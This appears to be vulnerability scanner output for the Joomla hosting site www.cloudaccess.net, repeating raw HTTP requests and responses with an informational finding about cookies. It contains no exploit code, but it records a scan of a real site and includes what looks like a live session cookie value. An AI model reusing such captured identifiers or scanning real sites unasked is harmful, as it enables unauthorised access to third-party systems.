GET /joomla-support-and-hosting-support.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /joomla-templates-and-themes.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:46 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Last-Modified: Fri, 31 Dec 2010 05:10:22 GMT Expires: Mon, 24 Jan 2011 14:07:46 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 39179
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /joomla-training-videos.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:46 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Last-Modified: Fri, 14 Jan 2011 20:36:34 GMT Expires: Mon, 24 Jan 2011 14:07:46 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 26678
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /meet-our-team.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:54 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:53 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:54 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:54 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:54 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:54 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:54 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:54 GMT; path=/ Last-Modified: Thu, 23 Dec 2010 04:37:23 GMT Expires: Mon, 24 Jan 2011 14:07:55 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 27067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /network-report.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:48 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Last-Modified: Thu, 23 Dec 2010 04:28:12 GMT Expires: Mon, 24 Jan 2011 14:07:48 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 22136
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /network-sla.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:52 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:51 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:52 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:52 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:52 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:52 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:52 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:52 GMT; path=/ Last-Modified: Tue, 30 Nov 1999 06:00:00 GMT Expires: Mon, 24 Jan 2011 14:07:53 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25998
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pricing.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:46 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:46 GMT; path=/ Last-Modified: Sat, 22 Jan 2011 06:20:15 GMT Expires: Mon, 24 Jan 2011 14:07:46 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 22209
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /privacy-policy.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:48 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:48 GMT; path=/ Last-Modified: Wed, 30 Jun 2010 17:55:06 GMT Expires: Mon, 24 Jan 2011 14:07:48 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 38309
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /support-sla.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:53 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:52 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:53 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:53 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:53 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:53 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:53 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:53 GMT; path=/ Last-Modified: Mon, 22 Nov 2010 16:52:12 GMT Expires: Mon, 24 Jan 2011 14:07:53 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 27139
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /terms-of-service.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /trial.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.1.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:52:46 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 13:52:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 13:52:47 GMT; path=/ Last-Modified: Tue, 03 Aug 2010 04:44:41 GMT Expires: Mon, 24 Jan 2011 14:07:47 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 43994
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /copyright-policy.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
